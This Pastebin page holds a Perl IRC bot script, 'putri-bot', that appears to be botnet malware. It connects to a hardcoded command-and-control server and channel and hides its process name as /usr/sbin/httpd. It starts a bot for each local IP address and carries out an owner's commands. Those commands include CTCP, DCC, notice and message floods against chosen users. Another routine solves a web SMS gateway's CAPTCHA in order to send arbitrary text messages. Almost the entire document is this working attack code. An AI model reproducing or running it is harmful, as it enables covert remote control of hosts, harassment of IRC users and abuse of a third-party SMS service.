API tools faq
paste
coi234

Untitled

coi234
Sep 27th, 2018
163
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.04 KB | None | 0 0
raw download clone embed print report
  1. ################################################################################
  2. # #
  3. # #
  4. # ___. .__ __ ____ ___ #
  5. # \_ |__ | | _____ ____ | | __ \ \/ / #
  6. # | __ \ | | \__ \ _/ ___\ | |/ / ______ \ / #
  7. # | \_\ \| |__ / __ \_\ \___ | < /_____/ / \ #
  8. # |___ /|____/(____ / \___ >|__|_ \ /___/\ \ #
  9. # \/ \/ \/ \/ \_/ .01 #
  10. # -------------------------------------------------------- #
  11. # #
  12. # #
  13. # #
  14. # recoded by BArNEr #
  15. # #
  16. # #
  17. # irc.fullmagic.us.to September 1 2010. #
  18. # #
  19. ################################################################################
  20.  
  21. #!/usr/bin/perl
  22.  
  23. ######################
  24. my $server ="198.12.149.7";
  25. my $port="7000";
  26. my $channel="#coi";
  27. my $owner= "coi";
  28. my $procname="/usr/sbin/httpd";
  29. ######################
  30.  
  31. my @nickname = ("Abdulrazak","Ackerman","Adams","Addison","Adelstein","Adibe","Adorno","Ahlers","Alavi","Alcorn","Alda",
  32. "Aleks","Allison","Alongi","Altavilla","Altenberger","Altenhofen","Amaral","Amatangelo","Ameer","Amsden","Anand","Andel",
  33. "Ando","Andrelus","Andron","Anfinrud","Ansley","Anthony","Antos","Arbia","Arduini","Arellano","Aristotle","Arjas","Arky","Atkins",
  34. "Augustus","Aurelius","Axelrod","Axworthy","Ayiemba","Aykroyd","Ayling","Azima","Bachmuth","Backus","Bady","Baglivo","Bagnold",
  35. "Bailar","Bakanowsky","Baleja","Ballatori","Ballew","Baltz","Banta","Barabesi","Barajas","Baranczak","Baranowska","Barberi","Barbetti",
  36. "Barneson","Barnett","Barriola","Barry","Bartholomew","Bartolome","Bartoo","Basavappa","Bashevis","Batchelder","Baumiller","Bayles","Bayo",
  37. "Beacon","Beal","Bean","Beckman","Beder","Bedford","Behenna","Belanger","Belaoussof","Belfer","Belin-Collart","Bellavance","Bellhouse",
  38. "Bellini","Belloc","Benedict-Dye","Bergson","Berke-Jenkins","Bernardo", "Bernassola","Bernston","Berrizbeitia","Betti","Beynart","Biagioli",
  39. "Bickel","Binion","Bir","Bisema","Bisho","Blackbourn","Blackwell","Blagg","Blakemore","Blanke","Bliss","Blizard","Bloch","Bloembergen",
  40. "Bloemhof","Bloxham","Blyth","Bolger","Bolick","Bollinger","Bologna","Boner","Bonham","Boniface","Bontempo","Book","Bookbinder","Boone",
  41. "Boorstin","Borack","Borden","Bossi","Bothman","Botosh","Boudin","Boudrot","Bourneuf","Bowers","Boxer","Boyajian","Boyes","Boyland",
  42. "Boym","Boyne","Bracalente","Bradac","Bradach","Brecht","Breed","Brenan","Brennan","Brewer","Brewer","Bridgeman","Bridges","Brinton",
  43. "Britz","Broca","Brook","Brzycki","Buchan","Budding","Bullard","Bunton","Burden","Burdzy","Burke","Burridge","Busetta","Byatt","Byerly",
  44. "Byrd","Cage","Calnan","Cammelli","Cammilleri","Canley","Capanni","Caperton","Capocaccia","Capodilupo","Cappuccio","Capursi","Caratozzolo",
  45. "Carayannopoulos","Carlin","Carlos","Carlyle","Carmichael","Caroti","Carper","Cartmill","Cascio","Case","Caspar","Castelda","Cavanagh",
  46. "Cavell","Ceniceros","Cerioli","Chapman","Charles","Cheang","Cherry","Chervinsky","Chiassino","Chien","Childress","Childs","Chinipardaz",
  47. "Chinman","Christenson","Christian","Christiano","Christie","Christopher","Chu","Chupasko","Church","Ciampaglia","Cicero","Cifarelli",
  48. "Claffey","Clancy","Clark","Clement","Clifton","Clow","Coblenz","Coito","Coldren","Colella","Collard","Collis","Compton","Compton",
  49. "Comstock","Concino","Condodina","Connors","Corey","Cornish","Cosmides","Counter","Coutaux","Crawford","Crocker","Croshaw","Croxen",
  50. "Croxton","Cui","Currier","Cutler","Cvek","Cyders","daSilva","Daldalian","Daly","D'Ambra","Danieli","Dante","Dapice","D'arcangelo","Das",
  51. "Dasgupta","Daskalu","David","Dawkins","DeGennaro","DeLaPena","del'Enclos","deRousse","Debroff","Dees","Defeciani","Delattre","Deleon-Rendon",
  52. "Delger","Dell'acqua","Deming","Dempster","Demusz","Denault","Denham","Denison","Desombre","Deutsch","D'fini","Dicks","Diefenbach","Difabio",
  53. "Difronzo","Dilworth","Dionysius","Dirksen","Dockery","Doherty","Donahue","Donner","Doonan","Dore","Dorf","Dosi","Doty","Doug","Dowsland",
  54. "Drinker","D'souza","Duffin","Durrett","Dussault","Dwyer","Eardley","Ebeling","Eckel","Edley","Edner","Edward","Eickenhorst","Eliasson",
  55. "Elmendorf","Elmerick","Elvis","Encinas","Enyeart","Eppling","Erbach","Erdman","Erdos","Erez","Espinoza","Estes","Etter","Euripides",
  56. "Everett","Fabbris","Fagan","Faioes","Falco-Acosta","Falorsi","Faris","Farone","Farren","Fasso'","Fates","Feigenbaum","Fejzo","Feldman",
  57. "Fernald","Fernandes","Ferrante","Ferriell","Feuer","Fido","Field","Fink","Finkelstein","Finnegan","Fiorina","Fisk","Fitzmaurice","Flier",
  58. "Flores","Folks","Forester","Fortes","Fortier","Fossey","Fossi","Francisco","Franklin-Kenea","Franz","Frazier-Davis","Freid","Freundlich",
  59. "Fried","Friedland","Frisken","Frowiss","Fryberger","Frye","Fujii-Abe","Fuller","Furth","Fusaro","Gabrielli","Gaggiotti","Galeotti","Galwey",
  60. "Gambini","Garfield","Garman","Garonna","Geller","Gemberling","Georgi","Gerrett","Ghorai","Gibbens","Gibson","Gilbert","Gili","Gill","Gillispie",
  61. "Gist","Gleason","Glegg","Glendon","Goldfarb","Goncalves","Good","Goodearl","Goody","Gozzi","Gravell","Greenberg","Greenfeld","Griffiths",
  62. "Grigoletto","Grummell","Gruner","Gruppe","Guenthart","Gunn","Guo","Ha","Haar","Hackman","Hackshaw","Haley","Halkias","Hallowell","Halpert",
  63. "Hambarzumjan","Hamer","Hammerness","Hand","Hanssen","Harding","Hargraves","Harlow","Harrigan","Hartman","Hartmann","Hartnett","Harwell",
  64. "Haviaras","Hawkes","Hayes","Haynes","Hazlewood","Heermans","Heft","Heiland","Hellman","Hellmiss","Helprin","Hemphill","Henery","Henrichs",
  65. "Hernandez","Herrera","Hester","Heubert","Heyeck","Himmelfarb","Hind","Hirst","Hitchcock","Hoang","Hock","Hoffer","Hoffman","Hokanson","Hokoda",
  66. "Holmes","Holoien","Holter","Holway","Holzman","Hooker","Hopkins","Horsley","Hoshida","Hostage","Hottle","Howard","Hoy","Huey","Huidekoper",
  67. "Hungerford","Huntington","Hupp","Hurtubise","Hutchings","Hyde","Iaquinta","Ichikawa","Igarashi","Inamura","Inniss","Isaac","Isaievych","Isbill",
  68. "Isserman","Iyer","Jacenko","Jackson","Jagers","Jagger","Jagoe","Jain","Jamil","Janjigian","Jarnagin","Jarrell","Jay","Jeffers","Jellis",
  69. "Jenkins","Jespersen","Jewett","Johannesson","Johannsen","Johns","Jolly","Jorgensen","Jucks","Juliano","Julious","Kabbash","Kaboolian","Kafadar",
  70. "Kalbfleisch","Kaligian","Kalil","Kalinowski","Kalman","Kamel","Kangis","Karpouzes","Kassower","Kasten","Kawachi","Kee","Keenan","Keepper",
  71. "Keith","Kelker","Kelsey","Kempton","Kemsley","Kendall","Kerry","Keul","Khong","Kimmel","Kimmett","Kimura","Kindall","Kinsley","Kippenberger",
  72. "Kirscht","Kittridge","Kleckner","Kleiman","Kleinfelder","Klemperer","Kling","Klinkenborg","Klint","Knuff","Kobrick","Koch","Kohn","Koivumaki",
  73. "Kommer","Koniaris","Konrad","Kool","Korzybski","Kotter","Kovaks","Kraemer","Krailo","Krasney","Kraus","Kroemer","Krysiak","Kuenzli","Kumar",
  74. "Kusman","Kuwabara","La","Labunka","Lafler","Laing","Lallemant","Landes","Lankes","Lantieri","Lanzit","Laserna","Lashley","Lawless","Lecar",
  75. "Lecce","Leclercq","Leite","Lenard","Sofia","Lesser","Lessi","Liakos","Lidano","Liem","Light","Lightfoot","Lim","Linares","Linda","Linder",
  76. "Line","Linehan","Linzee","Lippmann","Lipponen","Little","Litvak","Livernash","Livi","Livolsi","Lizardo","Locatelli","Longworth","Loss","Loveman",
  77. "Lowenstein","Loza","Lubin","Lucas","Luciano","Luczkow","Luecke","Lunetta","Luoma","Lussier","Lutcavage","Luzader","Ma","Maccormac","Macdonald",
  78. "Maceachern","Macintyre","Mackenney","MacMillan","Macy","Madigan","Maggio","Mahony","Maier","Maine-Hershey","Maisano","Malatesta","Maller",
  79. "Malova","Manalis","Mandel","Manganiello","Mantovan","March","Marchbanks","Marcus","Margalit","Margetts","Marques","Martinez","Martochio",
  80. "Marton","Marubini","Mass","Matalka","Matarazzo","Matsukata","Mattson","Mauzy","May","Mazzali","Mazziotta","Mcbride","Mccaffery","Mccall",
  81. "Mcclearn","Mcdowell","Mcelroy","McFadden","Mcghee","Mcgoldrick","McIlroy","Mcintosh","Mcdonald","Mclane","Mclaren","Mcnealy","Mcnulty",
  82. "Meccariello","Memisoglu","Menzies","Merikoski","Merlani","Merminod","Merseth","Merz","Metelka","Metropolis","Meurer","Michelman","Middle",
  83. "Mieher","Mills","Minh","Mini","Minichiello","Gonzalez","Mitropoulos","Mittal","Mocroft","Modestino","Moeller","Mohr","Moiamedi","Monque","Montilio",
  84. "MooreDeCh.","Morani","Moreton","Morrison","Morrow","Mortimer","Mosher","Mosler","Mostafavi","Motooka","Mudarri","Muello","Mugnai","Mulkern",
  85. "Mulroy","Mumford","Mussachio","Naddeo","Napolitano","Nardi","Nardone","Naviaux","Nayduch","Nelson","Nenna","Nesci","Neuman","Newfeld","Newlin",
  86. "Ng","Ni","Nickerson","Nickoloff","Nisenson","Nitabach","Notman","Nuzum","Ocougne","Ogata","Oh","O'hagan","Oldford","Olsen","Olson","Olszewski",
  87. "O'malley","Oman","O'meara","Opel","Oray","Orfield","Orsi","Ospina","Ostrowski","Ottaviani","Otten","Ouchida","Ovid","PaesDealmeida","Paine",
  88. "Palayoor","Palepu","Pallara","Palmitesta","Panadero","Panizzon","Pantilla","Paoletti","Parmeggiani","Parris","Partridge","Pascucci","Patefield",
  89. "Patrick","Pattullo","Pavetti","Pavlon","Pawloski","Paynter","Peabody","Pearlberg","Pederson","Peishel","Penny","Pereira","Perko","Perlak",
  90. "Perlman","Perna","Perone","Perrimon","Peters","Petruzello","Pettibone","Pettit","Pfister","Pilbeam","Pinot","Plancon","Plant","Plasket","Plous",
  91. "Po","Pocobene","Poincaire","Pointer","Poirier","Polak","Polanyi","Politis","Poma","Poolman","Powers","Presper","Preucel","Prevost","Pritchard",
  92. "Pritz","Proietti","Prothrow-Stith","Puccia","Pugh","Pynchon","Quaday","Quetin","Rabe","Rabkin","Radeke","Rajagopalan","Raney","Rangan","Rankin",
  93. "Rapple","Rayport","Redden-Tyler","Reedquist","Cunningham","Reinold","Remak","Renick","Repetto","Resnik","Rhea","Richmond","Rielly","Rindos",
  94. "Rineer","Rish","Rivera","Robinson","Rocha","Roesler","Rogers","Ronen","Row","Royal","Ru","Ruan","Ruderman","Ruescher","Rush","Ryu","Sabatello",
  95. "Sadler","Safire","Sahu","Sali","Samson","Sanchez-Ramirez","Sanna","Sapers","Sarin","Sartore","Sase","Satin","Satta","Satterthwaite","Sawtell",
  96. "Sayied","Scarponi","Scepan","Scharf","Scharlemann","Scheiner","Schiano","Schifini","Schilling","Schmitt","Schossberger","Schuman","Schutte",
  97. "Schuyler","Schwan","Schwickrath","Scovel","Scudder","Seaton","Seeber","Segal","Sekler","Selvage","Sen","Sennett","Seterdahl","Sexton",
  98. "Seyfert","Shaikh","Shakis","Shankland","Shanley","Shar","Shatrov","Shavelson","Shea","Sheats","Shepherd","Sheppard","Shepstone","Shesko","Shia",
  99. "Shibata","Shimon","Siesto","Sigalot","Sigini","Signa","Silverman","Silvetti","Sinsabaugh","Sirilli","Sites","Skane","Skerry","Skoda","Sloan",
  100. "Slowe","Smilow","Sniffen","Snodgrass","Socolow","Solon","Somers","Sommariva","Sorabella","Sorg","Sottak","Soukup","Soule","Soultanian","Spanier",
  101. "Sparrow","Spaulding","Speizer","Spence","Sperber","Spicer","Spiegelhalter","Spiliotis","Spinrad","StMartin","Stalvey","Stam","Stang","Stassinopolus",
  102. "States","Statlender","Stefani","Steiner","Stephanian","Stepniewska","Stewart-Oaten","Stiepock","Stillwell","Stock","Stockton","Stockwell","Stolzenberg",
  103. "Stonich","Storer","Stott","Strange","Strauch","Streiff","Stringer","Sullivan","Sumner","Suo","Surdam","Sweeting","Sweetser","Swindle","Tagiuri",
  104. "Tai","Talaugon","Tambiah","Tandler","Tanowitz","Tatar","Taveras","Tawn","Tcherepnin","Teague","Temes","Temmer","Tenney","Terracini","Than",
  105. "Thavaneswaran","Theodos","Thibault","Thisted","Thomsen","Throop","Tierney","Till","Timmons","Tofallis","Tollestrup","Tolls","Tolman","Tomford",
  106. "Toomer","Topulos","Torresi","Torske","Towler","Toye","Traebert","Trenga","Trewin","Tringali","Troiani","Troy","Truss","Tsiatis","Tsomides","Tsukurov",
  107. "Tuck","Tudge","Tukan","Turano","Turek","Tuttle","Twells","Tzamarias","Ullman","Untermeyer","Upsdell","Urban","Urdang-Brown","Usdan","Uzuner",
  108. "Vacca","Waite","Valberg","Valencia","Wales","Wallenberg","Walter","vanAllen","VanZwet","Vandenberg","Vanheeckeren","Warshafsky","Wasowska","Vasquez",
  109. "Waugh","Weighart","Weingarten","Weinhaus","Weissbourd","Weissman","Velasquez","Welles","Welsh","Wengret","Venne","Verghese","Wescott","Wetzel",
  110. "Whately","Whilton","White","Whitla","Whittaker","Viana","Viano","Wiedersheim","Wiener","Viens","Vignola","Wilder","Wilhelm","Wilk","Wilkin","Wilkinson",
  111. "Villarreal","Willstatter","Wilson","Vitali","Viviani","Voigt","Wolk","VonHoffman","Woo","Wooden","Woods","Woods-Powell","Vorhaus","Votey","Yacono",
  112. "Yamane","Yankee","Yarchuk","Yates","Ybarra","Yedidia","Yesson","Yetiv","Yoffe","Yoo","Youk-See","Yu","Zachary","Zahedi","Zangwill","Zegans","Zerbini",
  113. "Zoldak","Zucconi","Zurn","Zwiers");
  114.  
  115. my @realname = ("12,1zEs");
  116. my @WHO;
  117. my $qqum="*";
  118. $ARGC=@ARGV;
  119. if ($ARGC !=1) {
  120. print "\n+ putri-bot\n";
  121. print "+ Aturan Pakai : perl $0 (server)\n";
  122. print "+ betulin dulu sekripnya boss..\n\n";
  123. exit(1);
  124. }
  125. $SIG{CHLD} = sub { wait }; # alterando o signal
  126. my $qtip = qx(/sbin/ifconfig |grep inet | wc -l);
  127. my @ips1 =qx(/sbin/ifconfig |grep \"inet addr\:\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c6\-);
  128. my @ips2 =qx(/sbin/ifconfig \-a |grep \"inet end\.\:\" \|awk \-F \' \' \'\{\print \$3\} \');
  129. my @fbsd =qx(/sbin/ifconfig \|grep \"inet\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c1\-);
  130. @ips = (@ips1, @ips2, @fbsd);
  131. open(ipzitcho,">ips.txt") || die "- ips.txt not found";
  132. print ipzitcho" @ips";
  133. close(ipzitcho);
  134. @ips = grep { s/\n$// } @ips;
  135. $0 = $procname . "\0";
  136. $nick2 = $nick;
  137. print STDOUT "\n+ user\n";
  138. print STDOUT "+ Server : $server\n";
  139. print STDOUT "+ Port : $port\n";
  140. print STDOUT "+ Owner : $owner\n";
  141. print STDOUT "+ Channel: $channel\n";
  142. print STDOUT "+ IPs : $qtip\n\n";
  143. use IO::Socket;
  144. foreach my $FROM (@ips) {
  145. my $pid = fork(); # gerando um novo processo
  146. unless ($pid) { #
  147. my $ident = $nickname[rand scalar @nickname];
  148. my $nick = $nickname[rand scalar @nickname];
  149. my $name = $realname[rand scalar @realname];
  150. $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit();
  151. print $sock "NICK ".$nick."\n";
  152. print $sock "USER $ident $FROM $server :$name\n";
  153. while (my $input = <$sock>) {
  154. if ($input =~ /^:.+?\s433\s/) { # nick already in use
  155. $nick2 = $nickname[rand scalar @nickname];
  156. print $sock "NICK ".$nick2."\n";
  157. }
  158. if ($input =~ /^:.+?\s376\s/) { # end of motd
  159. print $sock "JOIN $channel\n";
  160. }
  161.  
  162. if($input =~ /^PING :(.*)/){ #replying the ping
  163. print $sock "PONG :$1\n";
  164. }
  165. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.bot (.*)/){
  166. print $sock "$1";
  167. }
  168. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.help(.*)/){
  169. print $sock "PRIVMSG ".$owner." : kenzhi\n";
  170. print $sock "PRIVMSG ".$owner." : #Prince Crew\n";
  171. print $sock "PRIVMSG ".$owner." : ------------\n";
  172. print $sock "PRIVMSG ".$owner." : .bot join #chan\n";
  173. print $sock "PRIVMSG ".$owner." : .bot part #chan\n";
  174. print $sock "PRIVMSG ".$owner." : .msg nick (nick)\n";
  175. print $sock "PRIVMSG ".$owner." : .quit\n";
  176. print $sock "PRIVMSG ".$owner." : ------------\n";
  177. print $sock "PRIVMSG ".$owner." : .ctcpflood (nick)\n";
  178. print $sock "PRIVMSG ".$owner." : .dccflood (nick)\n";
  179. print $sock "PRIVMSG ".$owner." : .noticeflood (nick)\n";
  180. print $sock "PRIVMSG ".$owner." : .msgflood (nick)\n";
  181. print $sock "PRIVMSG ".$owner." : .hop #chan (pesan)\n";
  182. print $sock "PRIVMSG ".$owner." : .sms 08xxx pesan\n";
  183. }
  184.  
  185. ###########################sms###########################################################################
  186.  
  187.  
  188. if ($input =~ /^.*\.sms(.*)/){
  189.  
  190. $data = $1;
  191. $data =~ s/\r|\n//g;
  192.  
  193. #ambil chan
  194. my @c = split('#', $input);
  195. my @a = split(/ /, @c[1]);
  196. my $chan = "#".@a[0];
  197.  
  198. #ambil user
  199. @snick = split("!",$input);
  200. $snick = @snick[0];
  201. $snick =~ s/://g;
  202. #print $sock "PRIVMSG ".$chan." :pengirim ".$snick."\r\n";
  203. #print $sock "PRIVMSG ".$chan." :".$input."\r\n";
  204. #print $sock "PRIVMSG ".$chan." :$data\r\n";
  205. # no psn-->
  206. # 0857 gfgfgfg hghgh hghg hgh hghgh
  207.  
  208. @snomer = split(" ",$data);
  209. #print $sock "PRIVMSG ".$chan." :no tujuan".@snomer[0]."\r\n";
  210. $no = @snomer[0];
  211. $pesan = $data;
  212. $pesan =~ s/ $no //g;
  213. $pesan = $pesan." (dari $snick)"; #<------ di dalam sms
  214. #print $sock "PRIVMSG ".$chan." :".$pesan."\r\n";
  215. if(sendSMS($no,$pesan)){
  216. print $sock "PRIVMSG ".$chan." :sms terkirim ke ".$no." dari ".$snick."\r\n";
  217. }
  218. else {
  219. print $sock "PRIVMSG ".$chan." :gagal\r\n";
  220. }
  221. }
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.msg(.*)/){
  233. print $sock "PRIVMSG ".$1." : ".$2."\n";
  234. }
  235. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.who(.*)/){
  236. print $sock "who ".$channel."\n";
  237. }
  238. if ($input =~ /^:.+?\s+352\s+\S+\s+\S+\s+(.+?)$/) {
  239. my $nicks = $1;
  240. #$nicks =~ s/\n//;
  241. #$nicks =~ s/\r//;
  242. push(@WHO, split(/ /, $nicks));
  243. print STDOUT "$who[1]\n";
  244. }
  245. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.dccflood(.*)/){
  246. for (1 .. 5) {
  247. print $sock "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n";
  248. }
  249. }
  250. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.whoisflood(.*)/){
  251. for (1 .. 5) {
  252. print $sock "whois ".$1."\n";
  253. }
  254. }
  255. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.hop (.*)/){
  256. print $sock "JOIN ".$1." : ".$2."\n";
  257. for (1 .. 5) {
  258. print $sock "PART ".$1." : ".$2."\n";
  259. print $sock "JOIN ".$1." : ".$2."\n";
  260. }
  261. }
  262. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.ctcpflood(.*)/){
  263. print $sock "PRIVMSG ".$1." :\001VERSION\001\n";
  264. for (1 .. 5) {
  265. print $sock "PRIVMSG ".$1." :\001VERSION\001\n";
  266. print $sock "PRIVMSG ".$1." :\001PING\001\n";
  267. }
  268. }
  269. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.msgflood(.*)/){
  270. for (1 .. 5) {
  271. print $sock "PRIVMSG ".$1." :4susumu cilikkkkkkkkk\n";
  272. }
  273. }
  274. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.noticeflood(.*)/){
  275. for (1 .. 5) {
  276. print $sock "NOTICE ".$1." :4susumu cilikkkkkkkkk\n";
  277. }
  278. }
  279. if($input =~ /^ERROR :(.*)/){
  280. use IO::Socket;
  281. $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port)
  282.  
  283. || exit();
  284. print $sock "NICK ".$nick."\n";
  285. print $sock "USER $ident $FROM $server :$name\n";
  286. }
  287. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.quit(.*)/){
  288. die();
  289. }
  290. if($input =~ /^\:.*: Connection timed out(.*)/){
  291. print STDOUT "[~] Connection Timed Out! Retrying!\n";
  292. use IO::Socket;
  293. $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port)
  294.  
  295. || exit();
  296. print $sock "NICK ".$nick."\n";
  297. print $sock "USER $ident $FROM $server :$name\n";
  298. }
  299. if($input =~ /^\:$owner!.*\@.*PRIVMSG.*:.ssmaboyts(.*)/){
  300. print $sock "PRIVMSG ".$owner." : Bot Ssmaboyts\n";
  301. print $sock "PRIVMSG ".$owner." : Using server : $server\n";
  302. print $sock "PRIVMSG ".$owner." : Using port : $port\n";
  303. print $sock "PRIVMSG ".$owner." : Using nick : $nick\n";
  304. print $sock "PRIVMSG ".$owner." : Using owner : $owner\n";
  305. print $sock "PRIVMSG ".$owner." : Using ident : $id\n";
  306. print $sock "PRIVMSG ".$owner." : putri-bot\n\n";
  307. }
  308. if($input =~ /^\:$owner!.*\@.*\s+PRIVMSG.*:.owner\s+(.*)/ ){
  309. $owner =$1;
  310. $owner =~ s/ //;
  311. $owner =~ s/\r$//;
  312. $owner =~ s/\n$//;
  313. }
  314. }
  315.  
  316. #exit;
  317. }
  318. }
  319.  
  320.  
  321. sub sendSMS {
  322.  
  323. $no = $_[0];
  324. $pesan = $_[1];
  325.  
  326. $site = "sms-online.web.id.4244.masterweb.net";
  327. $path = "/blog/widget/";
  328.  
  329. ############open konrksi#############
  330. $socksms = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$site",PeerPort=>"80");
  331.  
  332. ###############cek apakah koneksi berhasil###############
  333. if(!$socksms) {die("g bisa bka socket $site port 80\r\n");}
  334.  
  335. #############request data##############
  336. print $socksms "GET $path http/1.1\r\n";
  337. print $socksms "Host: $site\r\n";
  338. print $socksms "Accept: */*\r\n";
  339. print $socksms "User-Agent: kenzhi\r\n";
  340. print $socksms "Connection: Close\r\n";
  341. print $socksms "\r\n";
  342.  
  343.  
  344. #############ambil data,masukan ke dalam ariable array##############
  345. my @data = <$socksms>;
  346.  
  347. ##################close socket###################
  348. close($socksms);
  349.  
  350. $data = join("",@data);
  351. #print $data;
  352.  
  353. ########ambil pertanyaan##########
  354. @spertanyaan1 = split("jawab ini : ",$data);
  355. #print @pertanyaan1[1];
  356. @spertanyaan2 = split(" =",@spertanyaan1[1]);
  357. #print @spertanyaan2[0];
  358. @spertanyaan3 = split(" ",@spertanyaan2[0]);
  359. #print "angka1= ".@spertanyaan3[0]."\r\n";
  360. #print "angka2= ".@spertanyaan3[2]."\r\n";
  361. $jawaban = @spertanyaan3[0]+@spertanyaan3[2];
  362. #print "jawaban = $jawaban\r\n";
  363.  
  364.  
  365.  
  366. ###################ambil marguardcode################
  367. @sguard1 = split("name='mathguard_code' value='",$data);
  368. #print @sguard1[1];
  369. @sguard2 = split("' /><br />",@sguard1[1]);
  370. #print @sguard2[0];
  371. $sguard = @sguard2[0];
  372.  
  373. ############devinisikan data yg diperlukan#############
  374. $action = "/kirim1.php";
  375. $Phonenumbers = $no;
  376. $Text = $pesan;
  377. $mathguard_answer = $jawaban;
  378. $mathguard_code = $sguard;
  379. $TOMBOL = "KIRIM SMS";
  380.  
  381. #################buat data yg akan di post##############
  382. $Post = "Phonenumbers=".$Phonenumbers."&Text=".$Text."&mathguard_answer=".$mathguard_answer."&mathguard_code=".$mathguard_code."&TOMBOL=".$TOMBOL;
  383. $panjang = length $Post;
  384.  
  385.  
  386. ###############kirim sms###############
  387. $socksms = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$site",PeerPort=>"80");
  388. print $socksms "POST $action http/1.1\r\n";
  389. print $socksms "Host: $site\r\n";
  390. print $socksms "Accept: */*\r\n";
  391. print $socksms "User-Agent: kenzhi\r\n";
  392. print $socksms "Content-type: application/x-www-form-urlencoded\r\n";
  393. print $socksms "Content-length: ".$panjang."\r\n";
  394. print $socksms "Connection: Close\r\n\r\n";
  395. print $socksms $Post;
  396.  
  397. @hasil = <$socksms>;
  398. close($socksms);
  399.  
  400. $hasil = join("",@hasil);
  401. if($hasil=~ /SMS sedang diproses/){
  402. return 1;
  403.  
  404. }
  405. else{
  406. return 0;
  407. }
  408. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!